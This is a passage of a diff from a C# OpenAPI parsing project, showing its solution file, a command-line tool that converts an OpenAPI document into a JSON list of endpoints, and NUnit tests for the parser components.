|
||||
{
|
||||
return $"Name: {Name}{Environment.NewLine}Required: {Required}{Environment.NewLine}Example value: {ExampleValue}";
|
||||
}
|
||||
}
|
||||
}
|
||||
43
parser/OpenApiParser.sln
Normal file
43
parser/OpenApiParser.sln
Normal file
@@ -0,0 +1,43 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.29009.5
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Models", "Models\Models.csproj", "{168C8169-8DF0-45C2-97C0-A9D565F4A59A}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Parser", "Parser\Parser.csproj", "{5B556283-E412-482E-BFC3-BF2C99FB1D41}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "OpenApiParserCLI", "OpenApiParserCLI\OpenApiParserCLI.csproj", "{476E98FC-1E96-4FD1-ACC5-996A30D58F09}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Parser.Tests", "Parser.Tests\Parser.Tests.csproj", "{7250D212-A4AC-405C-8ECE-86046CC3B3F4}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{168C8169-8DF0-45C2-97C0-A9D565F4A59A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{168C8169-8DF0-45C2-97C0-A9D565F4A59A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{168C8169-8DF0-45C2-97C0-A9D565F4A59A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{168C8169-8DF0-45C2-97C0-A9D565F4A59A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{5B556283-E412-482E-BFC3-BF2C99FB1D41}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{5B556283-E412-482E-BFC3-BF2C99FB1D41}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{5B556283-E412-482E-BFC3-BF2C99FB1D41}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{5B556283-E412-482E-BFC3-BF2C99FB1D41}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{476E98FC-1E96-4FD1-ACC5-996A30D58F09}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{476E98FC-1E96-4FD1-ACC5-996A30D58F09}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{476E98FC-1E96-4FD1-ACC5-996A30D58F09}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{476E98FC-1E96-4FD1-ACC5-996A30D58F09}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{7250D212-A4AC-405C-8ECE-86046CC3B3F4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{7250D212-A4AC-405C-8ECE-86046CC3B3F4}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{7250D212-A4AC-405C-8ECE-86046CC3B3F4}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{7250D212-A4AC-405C-8ECE-86046CC3B3F4}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {8701D52B-F8CB-4BB0-A09A-0E5BA566BA9D}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
16
parser/OpenApiParserCLI/OpenApiParserCLI.csproj
Normal file
16
parser/OpenApiParserCLI/OpenApiParserCLI.csproj
Normal file
@@ -0,0 +1,16 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<OutputType>Exe</OutputType>
|
||||
<TargetFramework>netcoreapp2.1</TargetFramework>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Newtonsoft.Json" Version="12.0.2" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\Parser\Parser.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
67
parser/OpenApiParserCLI/Program.cs
Normal file
67
parser/OpenApiParserCLI/Program.cs
Normal file
@@ -0,0 +1,67 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Models;
|
||||
using Newtonsoft.Json;
|
||||
using Parser;
|
||||
|
||||
namespace OpenApiParserCLI
|
||||
{
|
||||
static class Program
|
||||
{
|
||||
static int Main(string[] args)
|
||||
{
|
||||
if (args.Length != 2)
|
||||
{
|
||||
Console.WriteLine("Bad arguments provided.");
|
||||
PrintHelp();
|
||||
return 1;
|
||||
}
|
||||
|
||||
string openApiDocFilePath = args[0];
|
||||
string outputEndpointsFilePath = args[1];
|
||||
|
||||
if (!ValidateArguments(openApiDocFilePath, outputEndpointsFilePath))
|
||||
{
|
||||
PrintHelp();
|
||||
return 1;
|
||||
}
|
||||
|
||||
OpenApiDocument openApiDocument = OpenApiDocumentParser.ParseOpenApiDocument(openApiDocFilePath);
|
||||
List<Endpoint> endpoints = EndpointParser.ParseAllEndpoints(openApiDocument);
|
||||
string json = JsonConvert.SerializeObject(endpoints, Formatting.Indented);
|
||||
File.WriteAllText(outputEndpointsFilePath, json);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool ValidateArguments(string openApiDocFilePath, string outputEndpointsFilePath)
|
||||
{
|
||||
if (!File.Exists(openApiDocFilePath))
|
||||
{
|
||||
Console.WriteLine("Cannot find specified OpenApi file");
|
||||
return false;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
File.Create(outputEndpointsFilePath).Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("Cannot create output file on defined path.");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void PrintHelp()
|
||||
{
|
||||
Console.WriteLine("Arguments:");
|
||||
Console.WriteLine("1] OpenAPI doc. file");
|
||||
Console.WriteLine("2] Output file with JSON endpoints specification");
|
||||
Console.WriteLine("Example: parser.exe api.yaml output.json");
|
||||
}
|
||||
}
|
||||
}
|
||||
118
parser/Parser.Tests/AttributeParserTests.cs
Normal file
118
parser/Parser.Tests/AttributeParserTests.cs
Normal file
@@ -0,0 +1,118 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class AttributeParserTests
|
||||
{
|
||||
|
||||
[TestCase(ParameterLocation.Cookie)]
|
||||
[TestCase(ParameterLocation.Header)]
|
||||
public void ParsingAttributeElsewhereThanInPathOrQueryShouldReturnNull(ParameterLocation parameterLocation)
|
||||
{
|
||||
OpenApiParameter parameter = new OpenApiParameter {In = parameterLocation};
|
||||
|
||||
var parsedAttribute = AttributeParser.ParseAttribute(parameter);
|
||||
|
||||
Assert.IsNull(parsedAttribute);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingAttributeWithNoTypeOrFormatShouldReturnNull()
|
||||
{
|
||||
OpenApiParameter parameter = new OpenApiParameter {Schema = new OpenApiSchema {Type = null, Format = null}};
|
||||
|
||||
var parsedAttribute = AttributeParser.ParseAttribute(parameter);
|
||||
|
||||
Assert.IsNull(parsedAttribute);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingPathAttributeWithValidContentExample()
|
||||
{
|
||||
string attributeContent = "test";
|
||||
OpenApiParameter parameter = new OpenApiParameter
|
||||
{
|
||||
In = ParameterLocation.Path, Schema = new OpenApiSchema {Type = "string", Format = null},
|
||||
Example = new OpenApiString(attributeContent)
|
||||
};
|
||||
|
||||
var parsedAttribute = AttributeParser.ParseAttribute(parameter);
|
||||
|
||||
Assert.AreEqual(attributeContent, parsedAttribute.ExampleValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingQueryAttributeWithValidContentExample()
|
||||
{
|
||||
string attributeContent = "test";
|
||||
OpenApiParameter parameter = new OpenApiParameter
|
||||
{
|
||||
In = ParameterLocation.Query,
|
||||
Schema = new OpenApiSchema { Type = "string", Format = null },
|
||||
Example = new OpenApiString(attributeContent)
|
||||
};
|
||||
|
||||
var parsedAttribute = AttributeParser.ParseAttribute(parameter);
|
||||
|
||||
Assert.AreEqual(attributeContent, parsedAttribute.ExampleValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingAttributeWithValidContentExamples()
|
||||
{
|
||||
string attributeContent = "test";
|
||||
OpenApiParameter parameter = new OpenApiParameter
|
||||
{
|
||||
In = ParameterLocation.Path, Schema = new OpenApiSchema {Type = "string", Format = null},
|
||||
Examples = new Dictionary<string, OpenApiExample>
|
||||
{
|
||||
{ "testKey 1", new OpenApiExample {Value = new OpenApiString(attributeContent)} },
|
||||
{ "testKey 2", new OpenApiExample {Value = new OpenApiString(attributeContent)} }
|
||||
}
|
||||
};
|
||||
|
||||
var parsedAttribute = AttributeParser.ParseAttribute(parameter);
|
||||
|
||||
Assert.AreEqual(attributeContent, parsedAttribute.ExampleValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingAttributeWithInheritingExampleJustFromDataType()
|
||||
{
|
||||
OpenApiParameter parameter = new OpenApiParameter
|
||||
{
|
||||
In = ParameterLocation.Path,
|
||||
Schema = new OpenApiSchema { Type = "string", Format = null },
|
||||
Example = null,
|
||||
Examples = new Dictionary<string, OpenApiExample>()
|
||||
};
|
||||
|
||||
var parsedAttribute = AttributeParser.ParseAttribute(parameter);
|
||||
|
||||
Assert.IsNotNull(parsedAttribute);
|
||||
Assert.IsTrue(!string.IsNullOrEmpty(parsedAttribute.ExampleValue));
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void CheckThatParsedAttributeHasCorrectlySetDataTypeAndFormat()
|
||||
{
|
||||
OpenApiParameter parameter = new OpenApiParameter
|
||||
{
|
||||
In = ParameterLocation.Path,
|
||||
Schema = new OpenApiSchema { Type = "string", Format = null },
|
||||
Example = null,
|
||||
Examples = new Dictionary<string, OpenApiExample>()
|
||||
};
|
||||
|
||||
var parsedAttribute = AttributeParser.ParseAttribute(parameter);
|
||||
|
||||
Assert.IsNotNull(parsedAttribute);
|
||||
Assert.IsTrue(!string.IsNullOrEmpty(parsedAttribute.ExampleValue));
|
||||
Assert.AreEqual(parameter.Schema.Type, parsedAttribute.Type);
|
||||
Assert.AreEqual(parameter.Schema.Format, parsedAttribute.Format);
|
||||
}
|
||||
}
|
||||
}
|
||||
45
parser/Parser.Tests/ContentParserTests.cs
Normal file
45
parser/Parser.Tests/ContentParserTests.cs
Normal file
@@ -0,0 +1,45 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class ContentParserTests
|
||||
{
|
||||
[Test]
|
||||
public void NoExampleFoundShouldReturnNull()
|
||||
{
|
||||
string parsedExample = ContentParser.GetStringExampleFromContent(null, new Dictionary<string, OpenApiExample>());
|
||||
|
||||
Assert.IsNull(parsedExample);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingValidContentExample()
|
||||
{
|
||||
string attributeContent = "test";
|
||||
OpenApiString example = new OpenApiString(attributeContent);
|
||||
Dictionary<string, OpenApiExample> examples = new Dictionary<string, OpenApiExample>();
|
||||
|
||||
string parsedExample = ContentParser.GetStringExampleFromContent(example, examples);
|
||||
|
||||
Assert.AreEqual(attributeContent, parsedExample);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingContentExamples()
|
||||
{
|
||||
string attributeContent = "test";
|
||||
Dictionary<string, OpenApiExample> examples = new Dictionary<string, OpenApiExample>
|
||||
{
|
||||
{"testKey 1", new OpenApiExample {Value = new OpenApiString(attributeContent)}},
|
||||
{"testKey 2", new OpenApiExample {Value = new OpenApiString(attributeContent)}}
|
||||
};
|
||||
|
||||
string parsedExample = ContentParser.GetStringExampleFromContent(null, examples);
|
||||
|
||||
Assert.AreEqual(attributeContent, parsedExample);
|
||||
}
|
||||
}
|
||||
}
|
||||
62
parser/Parser.Tests/EndpointParserTests.cs
Normal file
62
parser/Parser.Tests/EndpointParserTests.cs
Normal file
@@ -0,0 +1,62 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using NUnit.Framework;
|
||||
using Models;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class EndpointParserTests
|
||||
{
|
||||
readonly OpenApiDocument _document = new OpenApiDocument {Paths = new OpenApiPaths()};
|
||||
private void AddTwoTestingPaths()
|
||||
{
|
||||
_document.Paths.Add("/path1", new OpenApiPathItem
|
||||
{
|
||||
Operations = new Dictionary<OperationType, OpenApiOperation>
|
||||
{
|
||||
{ OperationType.Get, new OpenApiOperation
|
||||
{
|
||||
Responses = new OpenApiResponses
|
||||
{
|
||||
{ "200", new OpenApiResponse()}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
_document.Paths.Add("/path2", new OpenApiPathItem
|
||||
{
|
||||
Operations = new Dictionary<OperationType, OpenApiOperation>
|
||||
{
|
||||
{ OperationType.Get, new OpenApiOperation
|
||||
{
|
||||
Responses = new OpenApiResponses
|
||||
{
|
||||
{ "201", new OpenApiResponse()}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void DocumentWithoutAnyPathsShouldReturnEmptyList()
|
||||
{
|
||||
List<Endpoint> endpoints = EndpointParser.ParseAllEndpoints(_document);
|
||||
|
||||
Assert.IsEmpty(endpoints);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void DocumentWithTwoPathsEachHavingSingleResponseShouldReturnTwoEndpoints()
|
||||
{
|
||||
AddTwoTestingPaths();
|
||||
|
||||
List<Endpoint> endpoints = EndpointParser.ParseAllEndpoints(_document);
|
||||
|
||||
Assert.AreEqual(2, endpoints.Count);
|
||||
}
|
||||
}
|
||||
}
|
||||
56
parser/Parser.Tests/ExamplesParserTests.cs
Normal file
56
parser/Parser.Tests/ExamplesParserTests.cs
Normal file
@@ -0,0 +1,56 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class ExamplesParserTests
|
||||
{
|
||||
[TestCase("application/octet-stream")]
|
||||
[TestCase("application/pdf")]
|
||||
[TestCase("application/zip")]
|
||||
public void ParsingNotSupportedContentTypeShouldReturnNull(string contentType)
|
||||
{
|
||||
Assert.IsNull(ExamplesParser.ParseExample(new Dictionary<string, OpenApiMediaType> { { contentType, null } }));
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingPlainTextContent()
|
||||
{
|
||||
string plainText = "test";
|
||||
Dictionary<string, OpenApiMediaType> content = new Dictionary<string, OpenApiMediaType>
|
||||
{
|
||||
{"text/plain", new OpenApiMediaType {Example = new OpenApiString(plainText)}}
|
||||
};
|
||||
|
||||
string example = ExamplesParser.ParseExample(content);
|
||||
|
||||
Assert.AreEqual(plainText, example);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ParsingJsonContent()
|
||||
{
|
||||
string jsonTemplate = "{\n \"testKey1\": \"testValue\",\n \"testKey2\": \"testValue\"\n}";
|
||||
Dictionary<string, OpenApiMediaType> content = new Dictionary<string, OpenApiMediaType>
|
||||
{
|
||||
{
|
||||
"application/json", new OpenApiMediaType
|
||||
{
|
||||
Example = new OpenApiObject
|
||||
{
|
||||
{"testKey1", new OpenApiString("testValue") },
|
||||
{"testKey2", new OpenApiString("testValue") }
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
string example = ExamplesParser.ParseExample(content);
|
||||
|
||||
Assert.AreEqual(jsonTemplate, example);
|
||||
}
|
||||
}
|
||||
}
|
||||
88
parser/Parser.Tests/OpenApiAnyConvertorTests.cs
Normal file
88
parser/Parser.Tests/OpenApiAnyConvertorTests.cs
Normal file
@@ -0,0 +1,88 @@
|
||||
using System;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class OpenApiAnyConvertorTests
|
||||
{
|
||||
[Test]
|
||||
public void ConvertStringPrimitiveShouldReturnCorrectValue()
|
||||
{
|
||||
string value = "test";
|
||||
|
||||
Assert.AreEqual(value, OpenApiAnyConvertor.GetPrimitiveValue(new OpenApiString(value)));
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertBooleanPrimitiveShouldReturnCorrectValue()
|
||||
{
|
||||
Assert.AreEqual("True", OpenApiAnyConvertor.GetPrimitiveValue(new OpenApiBoolean(true)));
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertIntegerPrimitiveShouldReturnCorrectValue()
|
||||
{
|
||||
Assert.AreEqual("5", OpenApiAnyConvertor.GetPrimitiveValue(new OpenApiInteger(5)));
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertBytePrimitiveShouldReturnCorrectValue()
|
||||
{
|
||||
var primitiveValue = OpenApiAnyConvertor.GetPrimitiveValue(new OpenApiByte(new byte[] { 7, 8 }));
|
||||
Assert.AreEqual("\a\b", primitiveValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertBinaryPrimitiveShouldReturnCorrectValue()
|
||||
{
|
||||
var primitiveValue = OpenApiAnyConvertor.GetPrimitiveValue(new OpenApiBinary(new byte[] { 7, 8 }));
|
||||
Assert.AreEqual("0000011100001000", primitiveValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertDatePrimitiveShouldReturnCorrectValue()
|
||||
{
|
||||
var primitiveValue = OpenApiAnyConvertor.GetPrimitiveValue(new OpenApiDate(DateTime.UnixEpoch));
|
||||
Assert.AreEqual("01/01/1970 00:00:00", primitiveValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertDateTimePrimitiveShouldReturnCorrectValue()
|
||||
{
|
||||
var primitiveValue = OpenApiAnyConvertor.GetPrimitiveValue(new OpenApiDateTime(DateTime.UnixEpoch));
|
||||
Assert.AreEqual("1/1/1970 12:00:00 AM +00:00", primitiveValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertObjectShouldReturnCorrectJson()
|
||||
{
|
||||
string expectedJson = "{\n \"testKey1\": \"testValue\",\n \"testKey2\": \"testValue\"\n}";
|
||||
var openApiObject = new OpenApiObject
|
||||
{
|
||||
{"testKey1", new OpenApiString("testValue")},
|
||||
{"testKey2", new OpenApiString("testValue")}
|
||||
};
|
||||
|
||||
var jsonValue = OpenApiAnyConvertor.GetJsonValue(openApiObject);
|
||||
|
||||
Assert.AreEqual(expectedJson, jsonValue);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void ConvertArrayShouldReturnCorrectJson()
|
||||
{
|
||||
string expectedJson = "[\n {\n \"testKey1\": \"testValue\",\n \"testKey2\": \"testValue\"\n }\n]";
|
||||
var openApiObject = new OpenApiObject
|
||||
{
|
||||
{"testKey1", new OpenApiString("testValue")},
|
||||
{"testKey2", new OpenApiString("testValue")}
|
||||
};
|
||||
var openApiArray = new OpenApiArray {openApiObject};
|
||||
|
||||
var jsonValue = OpenApiAnyConvertor.GetJsonValue(openApiArray);
|
||||
|
||||
Assert.AreEqual(expectedJson, jsonValue);
|
||||
}
|
||||
}
|
||||
}
|
||||
26
parser/Parser.Tests/Parser.Tests.csproj
Normal file
26
parser/Parser.Tests/Parser.Tests.csproj
Normal file
@@ -0,0 +1,26 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>netcoreapp2.2</TargetFramework>
|
||||
|
||||
<IsPackable>false</IsPackable>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="nunit" Version="3.12.0" />
|
||||
<PackageReference Include="NUnit3TestAdapter" Version="3.13.0" />
|
||||
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="16.1.1" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\Models\Models.csproj" />
|
||||
<ProjectReference Include="..\Parser\Parser.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.OpenApi">
|
||||
<HintPath>..\..\..\..\..\.nuget\packages\microsoft.openapi\1.1.3\lib\netstandard2.0\Microsoft.OpenApi.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
@@ -0,0 +1,30 @@
|
||||
using System;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class PrimitiveDataTypeExampleGeneratorTests
|
||||
{
|
||||
[TestCase("integer", null, "42")]
|
||||
[TestCase("number", null, "42.0")]
|
||||
[TestCase("boolean", null, "True")]
|
||||
[TestCase("string", null, "example")]
|
||||
[TestCase("string", "byte", "example")]
|
||||
[TestCase("string", "binary", "01234567")]
|
||||
[TestCase("string", "date", "2002-10-02")]
|
||||
[TestCase("string", "date-time", "2002-10-02T10:00:00-05:00")]
|
||||
[TestCase("string", "password", "example")]
|
||||
public void ValidCombinationsShouldReturnValidValue(string type, string format, string expected)
|
||||
{
|
||||
string example = PrimitiveDataTypeExampleGenerator.GenerateExampleValueByType(type, format);
|
||||
Assert.AreEqual(expected, example);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void InvalidCombinationsShouldThrowAnException()
|
||||
{
|
||||
Assert.Throws<NotImplementedException>(() => PrimitiveDataTypeExampleGenerator.GenerateExampleValueByType("test", null));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
49
parser/Parser.Tests/RequestParserTests.cs
Normal file
49
parser/Parser.Tests/RequestParserTests.cs
Normal file
@@ -0,0 +1,49 @@
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Models;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class RequestParserTests
|
||||
{
|
||||
[Test]
|
||||
public void ValidRequestParsingShouldHaveCorrectValues()
|
||||
{
|
||||
string summary = "summary";
|
||||
string example = "test";
|
||||
|
||||
KeyValuePair<OperationType, OpenApiOperation> operation =
|
||||
new KeyValuePair<OperationType, OpenApiOperation>(OperationType.Get, new OpenApiOperation
|
||||
{
|
||||
Summary = summary,
|
||||
Parameters = new List<OpenApiParameter> { new OpenApiParameter
|
||||
{
|
||||
In = ParameterLocation.Path,
|
||||
Example = new OpenApiString(example),
|
||||
Schema = new OpenApiSchema {Type = "string", Format = null}
|
||||
} },
|
||||
RequestBody = new OpenApiRequestBody
|
||||
{
|
||||
Content = new Dictionary<string, OpenApiMediaType>
|
||||
{
|
||||
{ "text/plain", new OpenApiMediaType
|
||||
{
|
||||
Example = new OpenApiString(example)
|
||||
} }
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
Request request = RequestParser.ParseRequest(operation);
|
||||
|
||||
Assert.AreEqual(summary, request.Summary);
|
||||
Assert.AreEqual(example, request.BodyExample);
|
||||
Assert.AreEqual(example, request.UriAttributes[0].ExampleValue);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
43
parser/Parser.Tests/ResponseParserTests.cs
Normal file
43
parser/Parser.Tests/ResponseParserTests.cs
Normal file
@@ -0,0 +1,43 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using Models;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class ResponseParserTests
|
||||
{
|
||||
[Test]
|
||||
public void ValidResponseParsingShouldHaveCorrectValues()
|
||||
{
|
||||
int statusCode = 200;
|
||||
string example = "example";
|
||||
|
||||
KeyValuePair<string, OpenApiResponse> openApiResponse = new KeyValuePair<string, OpenApiResponse>(statusCode.ToString(), new OpenApiResponse
|
||||
{
|
||||
Content = new Dictionary<string, OpenApiMediaType>
|
||||
{
|
||||
{ "text/plain", new OpenApiMediaType
|
||||
{
|
||||
Schema = new OpenApiSchema {Type = "string", Format = null},
|
||||
Example = new OpenApiString(example)
|
||||
} }
|
||||
}
|
||||
});
|
||||
|
||||
Response response = ResponseParser.ParseResponse(openApiResponse);
|
||||
|
||||
Assert.AreEqual(statusCode, response.StatusCode);
|
||||
Assert.AreEqual(example, response.Example);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void InvalidResponseStatusCodeShouldThrowException()
|
||||
{
|
||||
KeyValuePair<string, OpenApiResponse> openApiResponse = new KeyValuePair<string, OpenApiResponse>("invalid", new OpenApiResponse());
|
||||
Assert.Throws<NotImplementedException>(() => ResponseParser.ParseResponse(openApiResponse));
|
||||
}
|
||||
}
|
||||
}
|
||||
164
parser/Parser.Tests/SchemaParserTests.cs
Normal file
164
parser/Parser.Tests/SchemaParserTests.cs
Normal file
@@ -0,0 +1,164 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.OpenApi.Any;
|
||||
using Microsoft.OpenApi.Models;
|
||||
using NUnit.Framework;
|
||||
|
||||
namespace Parser.Tests
|
||||
{
|
||||
public class SchemaParserTests
|
||||
{
|
||||
[TestCase("application/octet-stream")]
|
||||
[TestCase("application/pdf")]
|
||||
[TestCase("application/zip")]
|
||||
public void ParsingNotSupportedContentTypeShouldReturnNull(string contentType)
|
||||
{
|
||||
Assert.IsNull(SchemaParser.ParseSchema(new Dictionary<string, OpenApiMediaType> { { contentType, null } }));
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void SchemaWithRegularProperties()
|
||||
{
|
||||
string testingPropertyName = "testKey";
|
||||
string testingPropertyType = "string";
|
||||
string testingPropertyExample = "test";
|
||||
string testingPropertyFormat = null;
|
||||
|
||||
Dictionary<string, OpenApiMediaType> content = new Dictionary<string, OpenApiMediaType>
|
||||
{
|
||||
{
|
||||
"application/json", new OpenApiMediaType
|
||||
{
|
||||
Schema = new OpenApiSchema
|
||||
{
|
||||
Properties = new Dictionary<string, OpenApiSchema>
|
||||
{
|
||||
{
|
||||
testingPropertyName, new OpenApiSchema
|
||||
{
|
||||
Type = testingPropertyType,
|
||||
Example = new OpenApiString(testingPropertyExample),
|
||||
Title = testingPropertyName,
|
||||
Format = testingPropertyFormat
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
Dictionary<string, object> parsedSchema = SchemaParser.ParseSchema(content);
|
||||
Dictionary<string, object> testingProperty = (Dictionary<string, object>) parsedSchema.First().Value;
|
||||
|
||||
Assert.AreEqual(testingPropertyName, parsedSchema.First().Key);
|
||||
|
||||
Assert.That(testingProperty.ContainsKey("Title"));
|
||||
Assert.That(testingProperty.ContainsKey("Type"));
|
||||
Assert.That(testingProperty.ContainsKey("Format"));
|
||||
Assert.That(testingProperty.ContainsKey("Example"));
|
||||
|
||||
Assert.AreEqual(testingPropertyName, testingProperty["Title"]);
|
||||
Assert.AreEqual(testingPropertyType, testingProperty["Type"]);
|
||||
Assert.AreEqual(testingPropertyFormat, testingProperty["Format"]);
|
||||
Assert.AreEqual(testingPropertyExample, testingProperty["Example"]);
|
||||
}
|
||||
|
||||
[Test]
|
||||
public void SchemaWithRegularArrayOfDoublesProperty()
|
||||
{
|
||||
string testingPropertyName = "testKey";
|
||||
string testingPropertyType = "array";
|
||||
string testingPropertyFormat = null;
|
||||
|
||||
string testingArrayItemType = "double";
|
||||
string testingArrayItemFormat = "number";
|
||||
|
||||
Dictionary<string, OpenApiMediaType> content = new Dictionary<string, OpenApiMediaType>
|
||||
{
|
||||
{
|
||||
"application/json", new OpenApiMediaType
|
||||
{
|
||||
Schema = new OpenApiSchema
|
||||
{
|
||||
Properties = new Dictionary<string, OpenApiSchema>
|
||||
{
|
||||
{
|
||||
testingPropertyName, new OpenApiSchema
|
||||
{
|
||||
Type = testingPropertyType,
|
||||
Title = testingPropertyName,
|
||||
Items = new OpenApiSchema { Type = testingArrayItemType, Format = testingArrayItemFormat },
|
||||
Format = testingPropertyFormat
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
Dictionary<string, object> parsedSchema = SchemaParser.ParseSchema(content);
|
||||
Dictionary<string, object> testingProperty = (Dictionary<string, object>) parsedSchema.First().Value;
|
||||
Dictionary<string, object> arrayTypeDictionary = (Dictionary<string, object>) testingProperty["ArrayItemSchema"];
|
||||
|
||||
Assert.AreEqual(testingPropertyName, parsedSchema.First().Key);
|
||||
|
||||
Assert.That(arrayTypeDictionary.ContainsKey("Type"));
|
||||
Assert.That(arrayTypeDictionary.ContainsKey("Format"));
|
||||
|
||||
Assert.AreEqual(testingArrayItemType, arrayTypeDictionary["Type"]);
